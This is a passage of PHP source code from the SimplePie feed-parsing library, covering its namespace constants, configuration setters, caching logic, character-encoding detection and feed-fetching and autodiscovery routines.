will confuse people less with support.) */ const NAMESPACE_RSS_20 = ''; /** * DC 1.0 Namespace */ const NAMESPACE_DC_10 = 'http://purl.org/dc/elements/1.0/'; /** * DC 1.1 Namespace */ const NAMESPACE_DC_11 = 'http://purl.org/dc/elements/1.1/'; /** * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace */ const NAMESPACE_W3C_BASIC_GEO = 'http://www.w3.org/2003/01/geo/wgs84_pos#'; /** * GeoRSS Namespace */ const NAMESPACE_GEORSS = 'http://www.georss.org/georss'; /** * Media RSS Namespace */ const NAMESPACE_MEDIARSS = 'http://search.yahoo.com/mrss/'; /** * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec. */ const NAMESPACE_MEDIARSS_WRONG = 'http://search.yahoo.com/mrss'; /** * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5. */ const NAMESPACE_MEDIARSS_WRONG2 = 'http://video.search.yahoo.com/mrss'; /** * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace. */ const NAMESPACE_MEDIARSS_WRONG3 = 'http://video.search.yahoo.com/mrss/'; /** * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace. */ const NAMESPACE_MEDIARSS_WRONG4 = 'http://www.rssboard.org/media-rss'; /** * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL. */ const NAMESPACE_MEDIARSS_WRONG5 = 'http://www.rssboard.org/media-rss/'; /** * iTunes RSS Namespace */ const NAMESPACE_ITUNES = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; /** * XHTML Namespace */ const NAMESPACE_XHTML = 'http://www.w3.org/1999/xhtml'; /** * IANA Link Relations Registry */ const IANA_LINK_RELATIONS_REGISTRY = 'http://www.iana.org/assignments/relation/'; /** * No file source */ const FILE_SOURCE_NONE = 0; /** * Remote file source */ const FILE_SOURCE_REMOTE = 1; /** * Local file source */ const FILE_SOURCE_LOCAL = 2; /** * fsockopen() file source */ const FILE_SOURCE_FSOCKOPEN = 4; /** * cURL file source */ const FILE_SOURCE_CURL = 8; /** * file_get_contents() file source */ const FILE_SOURCE_FILE_GET_CONTENTS = 16; /** * @var array Raw data * @access private */ public $data = []; /** * @var mixed Error string * @access private */ public $error; /** * @var int HTTP status code * @see SimplePie::status_code() * @access private */ public $status_code = 0; /** * @var object Instance of \SimplePie\Sanitize (or other class) * @see SimplePie::set_sanitize_class() * @access private */ public $sanitize; /** * @var string SimplePie Useragent * @see SimplePie::set_useragent() * @access private */ public $useragent = ''; /** * @var string Feed URL * @see SimplePie::set_feed_url() * @access private */ public $feed_url; /** * @var string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently * @see SimplePie::subscribe_url() * @access private */ public $permanent_url = null; /** * @var object Instance of \SimplePie\File to use as a feed * @see SimplePie::set_file() * @access private */ public $file; /** * @var string Raw feed data * @see SimplePie::set_raw_data() * @access private */ public $raw_data; /** * @var int Timeout for fetching remote files * @see SimplePie::set_timeout() * @access private */ public $timeout = 10; /** * @var array Custom curl options * @see SimplePie::set_curl_options() * @access private */ public $curl_options = []; /** * @var bool Forces fsockopen() to be used for remote files instead * of cURL, even if a new enough version is installed * @see SimplePie::force_fsockopen() * @access private */ public $force_fsockopen = false; /** * @var bool Force the given data/URL to be treated as a feed no matter what * it appears like * @see SimplePie::force_feed() * @access private */ public $force_feed = false; /** * @var bool Enable/Disable Caching * @see SimplePie::enable_cache() * @access private */ public $cache = true; /** * @var bool Force SimplePie to fallback to expired cache, if enabled, * when feed is unavailable. * @see SimplePie::force_cache_fallback() * @access private */ public $force_cache_fallback = false; /** * @var int Cache duration (in seconds) * @see SimplePie::set_cache_duration() * @access private */ public $cache_duration = 3600; /** * @var int Auto-discovery cache duration (in seconds) * @see SimplePie::set_autodiscovery_cache_duration() * @access private */ public $autodiscovery_cache_duration = 604800; // 7 Days. /** * @var string Cache location (relative to executing script) * @see SimplePie::set_cache_location() * @access private */ public $cache_location = './cache'; /** * @var string Function that creates the cache filename * @see SimplePie::set_cache_name_function() * @access private */ public $cache_name_function = 'md5'; /** * @var bool Reorder feed by date descending * @see SimplePie::enable_order_by_date() * @access private */ public $order_by_date = true; /** * @var mixed Force input encoding to be set to the follow value * (false, or anything type-cast to false, disables this feature) * @see SimplePie::set_input_encoding() * @access private */ public $input_encoding = false; /** * @var int Feed Autodiscovery Level * @see SimplePie::set_autodiscovery_level() * @access private */ public $autodiscovery = self::LOCATOR_ALL; /** * Class registry object * * @var \SimplePie\Registry */ public $registry; /** * @var int Maximum number of feeds to check with autodiscovery * @see SimplePie::set_max_checked_feeds() * @access private */ public $max_checked_feeds = 10; /** * @var array All the feeds found during the autodiscovery process * @see SimplePie::get_all_discovered_feeds() * @access private */ public $all_discovered_feeds = []; /** * @var string Web-accessible path to the handler_image.php file. * @see SimplePie::set_image_handler() * @access private */ public $image_handler = ''; /** * @var array Stores the URLs when multiple feeds are being initialized. * @see SimplePie::set_feed_url() * @access private */ public $multifeed_url = []; /** * @var array Stores SimplePie objects when multiple feeds initialized. * @access private */ public $multifeed_objects = []; /** * @var array Stores the get_object_vars() array for use with multifeeds. * @see SimplePie::set_feed_url() * @access private */ public $config_settings = null; /** * @var integer Stores the number of items to return per-feed with multifeeds. * @see SimplePie::set_item_limit() * @access private */ public $item_limit = 0; /** * @var bool Stores if last-modified and/or etag headers were sent with the * request when checking a feed. */ public $check_modified = false; /** * @var array Stores the default attributes to be stripped by strip_attributes(). * @see SimplePie::strip_attributes() * @access private */ public $strip_attributes = ['bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc']; /** * @var array Stores the default attributes to add to different tags by add_attributes(). * @see SimplePie::add_attributes() * @access private */ public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']]; /** * @var array Stores the default tags to be stripped by strip_htmltags(). * @see SimplePie::strip_htmltags() * @access private */ public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style']; /** * @var array Stores the default attributes to be renamed by rename_attributes(). * @see SimplePie::rename_attributes() * @access private */ public $rename_attributes = []; /** * @var bool Should we throw exceptions, or use the old-style error property? * @access private */ public $enable_exceptions = false; /** * The SimplePie class contains feed level data and options * * To use SimplePie, create the SimplePie object with no parameters. You can * then set configuration options using the provided methods. After setting * them, you must initialise the feed using $feed->init(). At that point the * object's methods and properties will be available to you. * * Previously, it was possible to pass in the feed URL along with cache * options directly into the constructor. This has been removed as of 1.3 as * it caused a lot of confusion. * * @since 1.0 Preview Release */ public function __construct() { if (version_compare(PHP_VERSION, '5.6', '<')) { trigger_error('Please upgrade to PHP 5.6 or newer.'); die(); } $this->set_useragent(); // Other objects, instances created here so we can set options on them $this->sanitize = new \SimplePie\Sanitize(); $this->registry = new \SimplePie\Registry(); if (func_num_args() > 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', $level); $args = func_get_args(); switch (count($args)) { case 3: $this->set_cache_duration($args[2]); // no break case 2: $this->set_cache_location($args[1]); // no break case 1: $this->set_feed_url($args[0]); $this->init(); } } } /** * Used for converting object to a string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if (!gc_enabled()) { if (!empty($this->data['items'])) { foreach ($this->data['items'] as $item) { $item->__destruct(); } unset($item, $this->data['items']); } if (!empty($this->data['ordered_items'])) { foreach ($this->data['ordered_items'] as $item) { $item->__destruct(); } unset($item, $this->data['ordered_items']); } } } /** * Force the given data/URL to be treated as a feed * * This tells SimplePie to ignore the content-type provided by the server. * Be careful when using this option, as it will also disable autodiscovery. * * @since 1.1 * @param bool $enable Force the given data/URL to be treated as a feed */ public function force_feed($enable = false) { $this->force_feed = (bool) $enable; } /** * Set the URL of the feed you want to parse * * This allows you to enter the URL of the feed you want to parse, or the * website you want to try to use auto-discovery on. This takes priority * over any set raw data. * * You can set multiple feeds to mash together by passing an array instead * of a string for the $url. Remember that with each additional feed comes * additional processing and resources. * * @since 1.0 Preview Release * @see set_raw_data() * @param string|array $url This is the URL (or array of URLs) that you want to parse. */ public function set_feed_url($url) { $this->multifeed_url = []; if (is_array($url)) { foreach ($url as $value) { $this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', [$value, 1]); } } else { $this->feed_url = $this->registry->call('Misc', 'fix_protocol', [$url, 1]); $this->permanent_url = $this->feed_url; } } /** * Set an instance of {@see \SimplePie\File} to use as a feed * * @param \SimplePie\File &$file * @return bool True on success, false on failure */ public function set_file(&$file) { if ($file instanceof \SimplePie\File) { $this->feed_url = $file->url; $this->permanent_url = $this->feed_url; $this->file =& $file; return true; } return false; } /** * Set the raw XML data to parse * * Allows you to use a string of RSS/Atom data instead of a remote feed. * * If you have a feed available as a string in PHP, you can tell SimplePie * to parse that data string instead of a remote feed. Any set feed URL * takes precedence. * * @since 1.0 Beta 3 * @param string $data RSS or Atom data as a string. * @see set_feed_url() */ public function set_raw_data($data) { $this->raw_data = $data; } /** * Set the default timeout for fetching remote feeds * * This allows you to change the maximum time the feed's server to respond * and send the feed back. * * @since 1.0 Beta 3 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed. */ public function set_timeout($timeout = 10) { $this->timeout = (int) $timeout; } /** * Set custom curl options * * This allows you to change default curl options * * @since 1.0 Beta 3 * @param array $curl_options Curl options to add to default settings */ public function set_curl_options(array $curl_options = []) { $this->curl_options = $curl_options; } /** * Force SimplePie to use fsockopen() instead of cURL * * @since 1.0 Beta 3 * @param bool $enable Force fsockopen() to be used */ public function force_fsockopen($enable = false) { $this->force_fsockopen = (bool) $enable; } /** * Enable/disable caching in SimplePie. * * This option allows you to disable caching all-together in SimplePie. * However, disabling the cache can lead to longer load times. * * @since 1.0 Preview Release * @param bool $enable Enable caching */ public function enable_cache($enable = true) { $this->cache = (bool) $enable; } /** * SimplePie to continue to fall back to expired cache, if enabled, when * feed is unavailable. * * This tells SimplePie to ignore any file errors and fall back to cache * instead. This only works if caching is enabled and cached content * still exists. * @param bool $enable Force use of cache on fail. */ public function force_cache_fallback($enable = false) { $this->force_cache_fallback= (bool) $enable; } /** * Set the length of time (in seconds) that the contents of a feed will be * cached * * @param int $seconds The feed content cache duration */ public function set_cache_duration($seconds = 3600) { $this->cache_duration = (int) $seconds; } /** * Set the length of time (in seconds) that the autodiscovered feed URL will * be cached * * @param int $seconds The autodiscovered feed URL cache duration. */ public function set_autodiscovery_cache_duration($seconds = 604800) { $this->autodiscovery_cache_duration = (int) $seconds; } /** * Set the file system location where the cached files should be stored * * @param string $location The file system location. */ public function set_cache_location($location = './cache') { $this->cache_location = (string) $location; } /** * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL. * @param string $url The URL of the feed to be cached. * @return string A filename (i.e. hash, without path and without extension). */ public function get_cache_filename($url) { // Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters. $url .= $this->force_feed ? '#force_feed' : ''; $options = []; if ($this->timeout != 10) { $options[CURLOPT_TIMEOUT] = $this->timeout; } if ($this->useragent !== \SimplePie\Misc::get_default_useragent()) { $options[CURLOPT_USERAGENT] = $this->useragent; } if (!empty($this->curl_options)) { foreach ($this->curl_options as $k => $v) { $options[$k] = $v; } } if (!empty($options)) { ksort($options); $url .= '#' . urlencode(var_export($options, true)); } return call_user_func($this->cache_name_function, $url); } /** * Set whether feed items should be sorted into reverse chronological order * * @param bool $enable Sort as reverse chronological order. */ public function enable_order_by_date($enable = true) { $this->order_by_date = (bool) $enable; } /** * Set the character encoding used to parse the feed * * This overrides the encoding reported by the feed, however it will fall * back to the normal encoding detection if the override fails * * @param string $encoding Character encoding */ public function set_input_encoding($encoding = false) { if ($encoding) { $this->input_encoding = (string) $encoding; } else { $this->input_encoding = false; } } /** * Set how much feed autodiscovery to do * * @see \SimplePie\SimplePie::LOCATOR_NONE * @see \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY * @see \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION * @see \SimplePie\SimplePie::LOCATOR_LOCAL_BODY * @see \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION * @see \SimplePie\SimplePie::LOCATOR_REMOTE_BODY * @see \SimplePie\SimplePie::LOCATOR_ALL * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator) */ public function set_autodiscovery_level($level = self::LOCATOR_ALL) { $this->autodiscovery = (int) $level; } /** * Get the class registry * * Use this to override SimplePie's default classes * @see \SimplePie\Registry * @return \SimplePie\Registry */ public function &get_registry() { return $this->registry; } /**#@+ * Useful when you are overloading or extending SimplePie's default classes. * * @deprecated Use {@see get_registry()} instead * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation * @param string $class Name of custom class * @return boolean True on success, false otherwise */ /** * Set which class SimplePie uses for caching */ public function set_cache_class($class = 'SimplePie\Cache') { return $this->registry->register('Cache', $class, true); } /** * Set which class SimplePie uses for auto-discovery */ public function set_locator_class($class = 'SimplePie\Locator') { return $this->registry->register('Locator', $class, true); } /** * Set which class SimplePie uses for XML parsing */ public function set_parser_class($class = 'SimplePie\Parser') { return $this->registry->register('Parser', $class, true); } /** * Set which class SimplePie uses for remote file fetching */ public function set_file_class($class = 'SimplePie\File') { return $this->registry->register('File', $class, true); } /** * Set which class SimplePie uses for data sanitization */ public function set_sanitize_class($class = 'SimplePie\Sanitize') { return $this->registry->register('Sanitize', $class, true); } /** * Set which class SimplePie uses for handling feed items */ public function set_item_class($class = 'SimplePie\Item') { return $this->registry->register('Item', $class, true); } /** * Set which class SimplePie uses for handling author data */ public function set_author_class($class = 'SimplePie\Author') { return $this->registry->register('Author', $class, true); } /** * Set which class SimplePie uses for handling category data */ public function set_category_class($class = 'SimplePie\Category') { return $this->registry->register('Category', $class, true); } /** * Set which class SimplePie uses for feed enclosures */ public function set_enclosure_class($class = 'SimplePie\Enclosure') { return $this->registry->register('Enclosure', $class, true); } /** * Set which class SimplePie uses for `<media:text>` captions */ public function set_caption_class($class = 'SimplePie\Caption') { return $this->registry->register('Caption', $class, true); } /** * Set which class SimplePie uses for `<media:copyright>` */ public function set_copyright_class($class = 'SimplePie\Copyright') { return $this->registry->register('Copyright', $class, true); } /** * Set which class SimplePie uses for `<media:credit>` */ public function set_credit_class($class = 'SimplePie\Credit') { return $this->registry->register('Credit', $class, true); } /** * Set which class SimplePie uses for `<media:rating>` */ public function set_rating_class($class = 'SimplePie\Rating') { return $this->registry->register('Rating', $class, true); } /** * Set which class SimplePie uses for `<media:restriction>` */ public function set_restriction_class($class = 'SimplePie\Restriction') { return $this->registry->register('Restriction', $class, true); } /** * Set which class SimplePie uses for content-type sniffing */ public function set_content_type_sniffer_class($class = 'SimplePie\Content\Type\Sniffer') { return $this->registry->register('Content_Type_Sniffer', $class, true); } /** * Set which class SimplePie uses item sources */ public function set_source_class($class = 'SimplePie\Source') { return $this->registry->register('Source', $class, true); } /**#@-*/ /** * Set the user agent string * * @param string $ua New user agent string. */ public function set_useragent($ua = null) { if ($ua === null) { $ua = \SimplePie\Misc::get_default_useragent(); } $this->useragent = (string) $ua; } /** * Set callback function to create cache filename with * * @param mixed $function Callback function */ public function set_cache_name_function($function = 'md5') { if (is_callable($function)) { $this->cache_name_function = $function; } } /** * Set options to make SP as fast as possible * * Forgoes a substantial amount of data sanitization in favor of speed. This * turns SimplePie into a dumb parser of feeds. * * @param bool $set Whether to set them or not */ public function set_stupidly_fast($set = false) { if ($set) { $this->enable_order_by_date(false); $this->remove_div(false); $this->strip_comments(false); $this->strip_htmltags(false); $this->strip_attributes(false); $this->add_attributes(false); $this->set_image_handler(false); $this->set_https_domains([]); } } /** * Set maximum number of feeds to check with autodiscovery * * @param int $max Maximum number of feeds to check */ public function set_max_checked_feeds($max = 10) { $this->max_checked_feeds = (int) $max; } public function remove_div($enable = true) { $this->sanitize->remove_div($enable); } public function strip_htmltags($tags = '', $encode = null) { if ($tags === '') { $tags = $this->strip_htmltags; } $this->sanitize->strip_htmltags($tags); if ($encode !== null) { $this->sanitize->encode_instead_of_strip($tags); } } public function encode_instead_of_strip($enable = true) { $this->sanitize->encode_instead_of_strip($enable); } public function rename_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->rename_attributes; } $this->sanitize->rename_attributes($attribs); } public function strip_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->strip_attributes; } $this->sanitize->strip_attributes($attribs); } public function add_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->add_attributes; } $this->sanitize->add_attributes($attribs); } /** * Set the output encoding * * Allows you to override SimplePie's output to match that of your webpage. * This is useful for times when your webpages are not being served as * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and * is similar to {@see set_input_encoding()}. * * It should be noted, however, that not all character encodings can support * all characters. If your page is being served as ISO-8859-1 and you try * to display a Japanese feed, you'll likely see garbled characters. * Because of this, it is highly recommended to ensure that your webpages * are served as UTF-8. * * The number of supported character encodings depends on whether your web * host supports {@link http://php.net/mbstring mbstring}, * {@link http://php.net/iconv iconv}, or both. See * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for * more information. * * @param string $encoding */ public function set_output_encoding($encoding = 'UTF-8') { $this->sanitize->set_output_encoding($encoding); } public function strip_comments($strip = false) { $this->sanitize->strip_comments($strip); } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { $this->sanitize->set_url_replacements($element_attribute); } /** * Set the list of domains for which to force HTTPS. * @see \SimplePie\Sanitize::set_https_domains() * @param array List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net'). */ public function set_https_domains($domains = []) { if (is_array($domains)) { $this->sanitize->set_https_domains($domains); } } /** * Set the handler to enable the display of cached images. * * @param string $page Web-accessible path to the handler_image.php file. * @param string $qs The query string that the value should be passed to. */ public function set_image_handler($page = false, $qs = 'i') { if ($page !== false) { $this->sanitize->set_image_handler($page . '?' . $qs . '='); } else { $this->image_handler = ''; } } /** * Set the limit for items returned per-feed with multifeeds * * @param integer $limit The maximum number of items to return. */ public function set_item_limit($limit = 0) { $this->item_limit = (int) $limit; } /** * Enable throwing exceptions * * @param boolean $enable Should we throw exceptions, or use the old-style error property? */ public function enable_exceptions($enable = true) { $this->enable_exceptions = $enable; } /** * Initialize the feed object * * This is what makes everything happen. Period. This is where all of the * configuration options get processed, feeds are fetched, cached, and * parsed, and all of that other good stuff. * * @return boolean True if successful, false otherwise */ public function init() { // Check absolute bare minimum requirements. if (!extension_loaded('xml') || !extension_loaded('pcre')) { $this->error = 'XML or PCRE extensions not loaded!'; return false; } // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. elseif (!extension_loaded('xmlreader')) { static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } if (!$xml_is_sane) { return false; } } // The default sanitize class gets set in the constructor, check if it has // changed. if ($this->registry->get_class('Sanitize') !== 'SimplePie\Sanitize') { $this->sanitize = $this->registry->create('Sanitize'); } if (method_exists($this->sanitize, 'set_registry')) { $this->sanitize->set_registry($this->registry); } // Pass whatever was set with config options over to the sanitizer. // Pass the classes in for legacy support; new classes should use the registry instead $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache')); $this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen, $this->curl_options); if (!empty($this->multifeed_url)) { $i = 0; $success = 0; $this->multifeed_objects = []; $this->error = []; foreach ($this->multifeed_url as $url) { $this->multifeed_objects[$i] = clone $this; $this->multifeed_objects[$i]->set_feed_url($url); $single_success = $this->multifeed_objects[$i]->init(); $success |= $single_success; if (!$single_success) { $this->error[$i] = $this->multifeed_objects[$i]->error(); } $i++; } return (bool) $success; } elseif ($this->feed_url === null && $this->raw_data === null) { return false; } $this->error = null; $this->data = []; $this->check_modified = false; $this->multifeed_objects = []; $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = $this->registry->call('Misc', 'parse_url', [$this->feed_url]); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $filename = $this->get_cache_filename($this->feed_url); $cache = $this->registry->call('Cache', 'get_handler', [$this->cache_location, $filename, 'spc']); } // Fetch the data via \SimplePie\File into $this->raw_data if (($fetched = $this->fetch_data($cache)) === true) { return true; } elseif ($fetched === false) { return false; } list($headers, $sniffed) = $fetched; } // Empty response check if (empty($this->raw_data)) { $this->error = "A feed could not be found at `$this->feed_url`. Empty body."; $this->registry->call('Misc', 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]); return false; } // Set up array of possible encodings $encodings = []; // First check to see if input has been overridden. if ($this->input_encoding !== false) { $encodings[] = strtoupper($this->input_encoding); } $application_types = ['application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity']; $text_types = ['text/xml', 'text/xml-external-parsed-entity']; // RFC 3023 (only applies to sniffed content) if (isset($sniffed)) { if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = strtoupper($charset[1]); } $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', [$this->raw_data, &$this->registry])); $encodings[] = 'UTF-8'; } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = strtoupper($charset[1]); } $encodings[] = 'US-ASCII'; } // Text MIME-type default elseif (substr($sniffed, 0, 5) === 'text/') { $encodings[] = 'UTF-8'; } } // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1 $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', [$this->raw_data, &$this->registry])); $encodings[] = 'UTF-8'; $encodings[] = 'ISO-8859-1'; // There's no point in trying an encoding twice $encodings = array_unique($encodings); // Loop through each possible encoding, till we return something, or run out of possibilities foreach ($encodings as $encoding) { // Change the encoding to UTF-8 (as we always use UTF-8 internally) if ($utf8_data = $this->registry->call('Misc', 'change_encoding', [$this->raw_data, $encoding, 'UTF-8'])) { // Create new parser $parser = $this->registry->create('Parser'); // If it's parsed fine if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url)) { $this->data = $parser->get_data(); if (!($this->get_type() & ~self::TYPE_NONE)) { $this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed."; $this->registry->call('Misc', 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]); return false; } if (isset($headers)) { $this->data['headers'] = $headers; } $this->data['build'] = \SimplePie\Misc::get_build(); // Cache the file if caching is enabled if ($cache && !$cache->save($this)) { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } return true; } } } if (isset($parser)) { // We have an error, just set \SimplePie\Misc::error to it and quit $this->error = $this->feed_url; $this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column()); } else { $this->error = 'The data could not be converted to UTF-8.'; if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) { $this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.'; } else { $missingExtensions = []; if (!extension_loaded('iconv')) { $missingExtensions[] = 'iconv'; } if (!extension_loaded('mbstring')) { $missingExtensions[] = 'mbstring'; } if (!class_exists('\UConverter')) { $missingExtensions[] = 'intl (PHP 5.5+)'; } $this->error .= ' Try installing/enabling the ' . implode(' or ', $missingExtensions) . ' extension.'; } } $this->registry->call('Misc', 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]); return false; } /** * Fetch the data via \SimplePie\File * * If the data is already cached, attempt to fetch it from there instead * @param \SimplePie\Cache\Base|false $cache Cache handler, or false to not load from the cache * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type */ protected function fetch_data(&$cache) { // If it's enabled, use the cache if ($cache) { // Load the Cache $this->data = $cache->load(); if (!empty($this->data)) { // If the cache is for an outdated build of SimplePie if (!isset($this->data['build']) || $this->data['build'] !== \SimplePie\Misc::get_build()) { $cache->unlink(); $this->data = []; } // If we've hit a collision just rerun it with caching disabled elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) { $cache = false; $this->data = []; } // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL. elseif (isset($this->data['feed_url'])) { // If the autodiscovery cache is still valid use it. if ($cache->mtime() + $this->autodiscovery_cache_duration > time()) { // Do not need to do feed autodiscovery yet. if ($this->data['feed_url'] !== $this->data['url']) { $this->set_feed_url($this->data['feed_url']); return $this->init(); } $cache->unlink(); $this->data = []; } } // Check if the cache has been updated elseif ($cache->mtime() + $this->cache_duration < time()) { // Want to know if we tried to send last-modified and/or etag headers // when requesting this file. (Note that it's up to the file to // support this, but we don't always send the headers either.) $this->check_modified = true; if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) { $headers = [ 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ]; if (isset($this->data['headers']['last-modified'])) { $headers['if-modified-since'] = $this->data['headers']['last-modified']; } if (isset($this->data['headers']['etag'])) { $headers['if-none-match'] = $this->data['headers']['etag']; } $file = $this->registry->create('File', [$this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]); $this->status_code = $file->status_code; if ($file->success) { if ($file->status_code === 304) { // Set raw_data to false here too, to signify that the cache // is still valid. $this->raw_data = false; $cache->touch(); return true; } } else { $this->check_modified = false; if ($this->force_cache_fallback) { $cache->touch(); return true; } unset($file); } } } // If the cache is still valid, just return true else { $this->raw_data = false; return true; } } // If the cache is empty, delete it else { $cache->unlink(); $this->data = []; } } // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it. if (!isset($file)) { if ($this->file instanceof \SimplePie\File && $this->file->url === $this->feed_url) { $file =& $this->file; } else { $headers = [ 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ]; $file = $this->registry->create('File', [$this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]); } } $this->status_code = $file->status_code; // If the file connection has an error, set SimplePie::error to that and quit if (!$file->success && !($file->method & self::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { $this->error = $file->error; return !empty($this->data); } if (!$this->force_feed) { // Check if the supplied URL is a feed, if it isn't, look for it. $locate = $this->registry->create('Locator', [&$file, $this->timeout, $this->useragent, $this->max_checked_feeds, $this->force_fsockopen, $this->curl_options]); if (!$locate->is_feed($file)) { $copyStatusCode = $file->status_code; $copyContentType = $file->headers['content-type']; try { $microformats = false; if (class_exists('DOMXpath') && function_exists('Mf2\parse')) { $doc = new \DOMDocument(); @$doc->loadHTML($file->body); $xpath = new \DOMXpath($doc); // Check for both h-feed and h-entry, as both a feed with no entries // and a list of entries without an h-feed wrapper are both valid. $query = '//*[contains(concat(" ", @class, " "), " h-feed ") or '. 'contains(concat(" ", @class, " "), " h-entry ")]'; $result = $xpath->query($query); $microformats = $result->length !== 0; } // Now also do feed discovery, but if microformats were found don't // overwrite the current value of file. $discovered = $locate->find( $this->autodiscovery, $this->all_discovered_feeds ); if ($microformats) { if ($hub = $locate->get_rel_link('hub')) { $self = $locate->get_rel_link('self'); $this->store_links($file, $hub, $self); } // Push the current file onto all_discovered feeds so the user can // be shown this as one of the options. if (isset($this->all_discovered_feeds)) { $this->all_discovered_feeds[] = $file; } } else { if ($discovered) { $file = $discovered; } else { // We need to unset this so that if SimplePie::set_file() has // been called that object is untouched unset($file); $this->error = "A feed could not be found at `$this->feed_url`; the status code is `$copyStatusCode` and content-type is `$copyContentType`"; $this->registry->call('Misc', 'error', [$this->error, E_USER_NOTICE, __FILE__, __LINE__]); return false; } } } catch (\SimplePie\Exception $e) { // We need to unset this so that if SimplePie::set_file() has been called that object is untouched unset($file); // This is usually because DOMDocument doesn't exist $this->error = $e->getMessage(); $this->registry->call('Misc', 'error', [$this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()]); return false; } if ($cache) { $this->data = ['url' => $this->feed_url, 'feed_url' => $file->url, 'build' => \SimplePie\Misc::get_build()]; if (!$cache->save($this)) { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } $cache = 